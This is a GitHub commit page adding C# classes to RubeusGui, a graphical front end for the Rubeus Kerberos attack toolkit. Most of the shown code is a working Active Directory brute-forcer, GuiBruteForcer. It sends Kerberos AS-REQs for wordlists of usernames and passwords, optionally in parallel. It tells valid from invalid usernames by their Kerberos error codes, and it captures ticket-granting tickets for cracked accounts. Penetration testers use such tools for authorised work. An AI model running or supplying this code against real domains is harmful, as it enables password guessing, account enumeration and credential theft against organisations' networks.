Skip to content

Commit

Permalink
v0.3
Browse files Browse the repository at this point in the history
  • Loading branch information
VbScrub committed Nov 30, 2021
1 parent 32023f1 commit 08e6337
Show file tree
Hide file tree
Showing 61 changed files with 3,299 additions and 1,330 deletions.
122 changes: 122 additions & 0 deletions GUI/Classes/BruteResult.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,122 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Media.Imaging;

namespace RubeusGui
{
public class BruteResult
{

// This class should ideally implement INotifyPropertyChanged but because we're only adding results to the ListView after all properties have been set on them (and then
// they're never changed again), its fine this way

public BruteResult(string username)
{
this.Username = username;
}

public enum CredentialStatus
{
Unknown,
Error,
UsernameAndPwdValid,
UsernameAndPwdValidButPwdExpired,
UsernameValid,
UsernameValidButDisabled,
UsernameValidButError,
UsernameInvalid
}

public string Username { get; set; } = string.Empty;
public string Password { get; set; } = string.Empty;
public string ErrorMessage { get; set; } = string.Empty;
public byte[] Tgt { get; set; }
public CredentialStatus Status { get; set; } = CredentialStatus.Unknown;

public string StatusDescription
{
get
{
switch (Status)
{
case CredentialStatus.UsernameAndPwdValid:
return "Valid username and password!";
case CredentialStatus.UsernameValid:
return "Valid username";
case CredentialStatus.UsernameValidButDisabled:
return "Valid username but account is disabled or locked out";
case CredentialStatus.UsernameValidButError:
return "Valid username but error encountered: " + ErrorMessage;
case CredentialStatus.Error:
return "Error encountered whilst validating username: " + ErrorMessage;
case CredentialStatus.UsernameInvalid:
return "Username not found in domain";
case CredentialStatus.UsernameAndPwdValidButPwdExpired:
return "Valid username and password but password has expired";
default:
return "Unknown";
}
}
}

public string TgtBase64
{
get
{
if (Tgt == null || Tgt.Length == 0)
{
return string.Empty;
}
else
{
return Convert.ToBase64String(Tgt);
}
}
}
public System.Windows.Media.SolidColorBrush ForegroundColor
{
get
{
switch (Status)
{
case CredentialStatus.UsernameAndPwdValid:
return System.Windows.Media.Brushes.LightGreen;
case CredentialStatus.UsernameAndPwdValidButPwdExpired:
return System.Windows.Media.Brushes.LightBlue;
default:
//TODO: See if we can get the default text color instead of hard coding white here
return System.Windows.Media.Brushes.White;
}
}
}

public BitmapImage Icon
{
get
{
switch (Status)
{
case CredentialStatus.UsernameAndPwdValid:
return new BitmapImage(new Uri("pack://application:,,,/RubeusGui;component/images/ok_16px.png"));
case CredentialStatus.UsernameValid:
return new BitmapImage(new Uri("pack://application:,,,/RubeusGui;component/images/male_user_16px.png"));
case CredentialStatus.UsernameValidButDisabled:
return new BitmapImage(new Uri("pack://application:,,,/RubeusGui;component/images/lock_blue_16px.png"));
case CredentialStatus.UsernameAndPwdValidButPwdExpired:
return new BitmapImage(new Uri("pack://application:,,,/RubeusGui;component/images/ok_grey_16px.png"));
case CredentialStatus.UsernameValidButError:
case CredentialStatus.Error:
return new BitmapImage(new Uri("pack://application:,,,/RubeusGui;component/images/cancel_16px.png"));
case CredentialStatus.UsernameInvalid:
return new BitmapImage(new Uri("pack://application:,,,/RubeusGui;component/images/delete_16px.png"));
default:
return new BitmapImage(new Uri("pack://application:,,,/RubeusGui;component/images/help_16px.png"));
}
}
}

}
}
76 changes: 76 additions & 0 deletions GUI/Classes/EncryptionDisplayItem.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,76 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace RubeusGui
{

public enum EncryptionType
{
Plaintext,
RC4,
DES,
AES128,
AES256
}

public class EncryptionDisplayItem
{

public EncryptionDisplayItem(EncryptionType encryption)
{
this.Encryption = encryption;
}

public EncryptionDisplayItem(EncryptionType encryption, string overrideDisplayName) : this(encryption)
{
this.OverrideDisplayName = overrideDisplayName;
}

public EncryptionType Encryption { get; set; }
public string OverrideDisplayName { get; set; }
public string DisplayName
{
get
{
if (OverrideDisplayName != null)
{
return OverrideDisplayName;
}
switch (Encryption)
{
case EncryptionType.AES128:
return "AES 128";
case EncryptionType.AES256:
return "AES 256";
default:
return Encryption.ToString();
}
}
}

public Rubeus.Interop.KERB_ETYPE NativeEncryption
{
get
{
switch (Encryption)
{
case EncryptionType.RC4:
return Rubeus.Interop.KERB_ETYPE.rc4_hmac;
case EncryptionType.DES:
return Rubeus.Interop.KERB_ETYPE.des_cbc_md5;
case EncryptionType.AES128:
return Rubeus.Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
case EncryptionType.AES256:
return Rubeus.Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
default:
throw new ApplicationException("Unexpected encryption type in EncryptionDisplay.Encryption property");
}
}
}


}
}
165 changes: 165 additions & 0 deletions GUI/Classes/GuiBruteForcer.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,165 @@
using Rubeus;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Threading;

namespace RubeusGui
{
// Terrible name I know, but I needed to differentiate it from the built in BruteForcer class in Rubeus (modifying that one to suit the GUI was more hassle than just making this new one)
public class GuiBruteForcer
{

public event EventHandler<BruteResult> ResultAdded;
// Normal list of usernames we've already processed (no need for concurrent collection overhead if we're not using Parallel.ForEach)
private List<string> _alreadyProcessedUsers;
// Thread safe list of usernames we've already processed, for if we're using Parallel.ForEach
private System.Collections.Concurrent.ConcurrentBag<string> _alreadyProcessedUsersParallel;
private CancellationTokenSource _cancelToken;

public void Cancel()
{
_cancelToken?.Cancel();
}

/// <summary>
/// Returns true if it finished testing all usernames and passwords. Returns false if it was cancelled by user before completing
/// </summary>
public bool Run(string domain, string dc, List<string> usernames, List<string> passwords, bool runParallel)
{
_cancelToken = new CancellationTokenSource();
if (runParallel)
{
_alreadyProcessedUsersParallel = new System.Collections.Concurrent.ConcurrentBag<string>();
ParallelOptions options = new ParallelOptions();
options.CancellationToken = _cancelToken.Token;
try
{
Parallel.ForEach(usernames, options, (username, loopState) =>
{
if (options.CancellationToken.IsCancellationRequested)
{
loopState.Stop();
}
// Avoid processing duplicate usernames in the wordlist (not really our problem but hey let's try to be helpful)
if (_alreadyProcessedUsersParallel.Contains(username))
{
return;
}
else
{
_alreadyProcessedUsersParallel.Add(username);
TestPasswords(domain, dc, username, passwords);
}
});
}
catch (OperationCanceledException)
{
return false;
}
return true;
}
else // If not using multithreading
{
_alreadyProcessedUsers = new List<string>();
foreach (string username in usernames)
{
if (_cancelToken.IsCancellationRequested)
{
return false;
}
// Avoid processing duplicate usernames in the wordlist (not really our problem but hey let's try to be helpful)
if (_alreadyProcessedUsers.Contains(username))
{
continue;
}
else
{
_alreadyProcessedUsers.Add(username);
TestPasswords(domain, dc, username, passwords);
}
}
return true;
}
}

private void TestPasswords(string domain, string dc, string username, List<string> passwords)
{
BruteResult result = new BruteResult(username);
foreach (string password in passwords)
{
if (_cancelToken != null && _cancelToken.IsCancellationRequested)
{
break;
}
bool tryMorePasswords = false;
try
{
try
{
Interop.KERB_ETYPE etype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
string hash = Helpers.EncryptPassword(domain, username, password, etype);
byte[] tgtBytes = Ask.InnerTGT(AS_REQ.NewASReq(username, domain, hash, etype), etype, null, false, dc);
// If we made it this far then credentials must be valid
result.Password = password;
result.Status = BruteResult.CredentialStatus.UsernameAndPwdValid;
result.Tgt = tgtBytes;
}
catch (KerberosErrorException kerbEx)
{
// Most kerberos errors will only appear if the username is valid (other than C_PRINCIPAL_UNKNOWN) so if we're hitting this Catch block then assume the username is valid

var errorInfo = (Interop.KERBEROS_ERROR)kerbEx.NativeKrbError.error_code;
switch (errorInfo)
{
// PREAUTH_FAILED is returned when we try an incorrect password with a valid username, so its the only scenario where we actually want to keep trying
// more passwords and not just record the error and skip to the next user
case Interop.KERBEROS_ERROR.KDC_ERR_PREAUTH_FAILED:
tryMorePasswords = true;
result.Status = BruteResult.CredentialStatus.UsernameValid;
break;
case Interop.KERBEROS_ERROR.KDC_ERR_C_PRINCIPAL_UNKNOWN:
result.Status = BruteResult.CredentialStatus.UsernameInvalid;
break;
case Interop.KERBEROS_ERROR.KDC_ERR_KEY_EXPIRED:
result.Password = password;
result.Status = BruteResult.CredentialStatus.UsernameAndPwdValidButPwdExpired;
break;
case Interop.KERBEROS_ERROR.KDC_ERR_CLIENT_REVOKED:
result.Status = BruteResult.CredentialStatus.UsernameValidButDisabled;
break;
default:
// If we got any other kerberos error then the username is almost certainly valid as we did not get KDC_ERR_C_PRINCIPAL_UNKNOWN
result.Status = BruteResult.CredentialStatus.UsernameValid;
// Feels a bit janky throwing an exception here just to catch it a couple of lines later but I still prefer it over the alternatives
throw new RubeusException("Server responded with error code " + (int)errorInfo + " (" + errorInfo + ") - " + Helpers.GetFriendlyNameForKrbErrorCode(errorInfo));
}
}
}
catch (Exception ex) // Catch any general exceptions as well as any kerberos ones we re-threw above
{
if (result.Status == BruteResult.CredentialStatus.UsernameValid)
{
result.Status = BruteResult.CredentialStatus.UsernameValidButError;
}
else
{
result.Status = BruteResult.CredentialStatus.Error;
}
result.ErrorMessage = ex.Message;
}

// If we got valid credentials or a fatal error for this user (disabled, unknown principal etc), don't try any more passwords and just skip to next user
if (!tryMorePasswords)
{
break;
}
} // End of password loop for this user

ResultAdded?.Invoke(this, result);
}

}
}
Loading

0 comments on commit 08e6337

Please sign in to comment.